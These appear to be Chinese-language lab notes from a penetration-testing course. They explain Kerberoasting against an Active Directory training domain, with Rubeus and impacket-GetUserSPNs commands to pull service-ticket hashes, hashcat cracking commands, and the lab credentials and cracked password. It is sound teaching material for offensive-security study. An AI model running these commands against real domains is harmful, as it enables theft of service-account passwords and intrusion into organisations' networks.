回想一下 Kerberos 协议是如何工作的。我们知道,当用户想要访问由服务主体名称 (SPN)
托管的资源时,客户端会请求由域控制器生成的服务票证。然后,服务票证由应用程序服务器解
密和验证,因为它是通过 SPN 的密码哈希加密的。
当从域控制器请求服务票证时,不会执行任何检查来确认用户是否有权访问 SPN 托管的服务。
仅当连接到服务本身时,才会作为第二步执行这些检查。这意味着,如果我们知道要定位的 SPN,
我们可以向域控制器请求其服务票证。
服务票证使用 SPN 的密码哈希进行加密。如果我们能够请求票证并使用暴力或猜测对其进行解密,
我们就可以使用此信息来破解服务帐户的明文密码。这种技术称为 Kerberoasting。
为了执行 Kerberoasting,我们将再次使用 Rubeus。我们指定 kerberoast 命令来启动这种攻击
技术。此外,我们将提供 hashes.kerberoast 作为 /outfile 的参数,以存储生成的 TGS-REP
哈希值。由于我们将作为经过身份验证的域用户执行 Rubeus,因此该工具将识别与域用户链接的
所有 SPN。
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
Kali本地爆破
先查看hashcat使用哪一项
hashcat --help | grep -i "Kerberos"
进行爆破
hashcat -m 13100 hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
密码是Strawberry1
让我们从 Linux 执行 Kerberoasting。我们可以使用 impacket-GetUserSPNs
并将域控制器的 IP 作为 -dc-ip 的参数。由于我们的 Kali 机器未加入域,因此我们还必须提供域用
户凭据才能获取 TGS-REP 哈希值。和以前一样,我们可以使用 -request 来获取 TGS 并以
Hashcat 兼容的格式输出它们。
impacket-GetUserSPNs -request -dc-ip 192.168.207.70 corp.com/pete
密码是Nexus123!
我们成功获得了 TGS-REP 哈希值
hashcat -m 13100 hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
爆破出来是Strawberry1
如果域包含具有弱密码的高权限服务帐户,则此技术非常强大,这在许多组织中并不罕见。但是,
如果 SPN 在计算机帐户、托管服务帐户或组管理服务帐户 的上下文中运行,密码将是随机
生成的、复杂且长度为 120 个字符,使得破解变得不可行。对于充当 KDC 服务帐户的 krbtgt
用户帐户也是如此。因此,我们对在用户帐户上下文中运行的 SPN 成功执行 Kerberoast 攻击的
机会要高得多。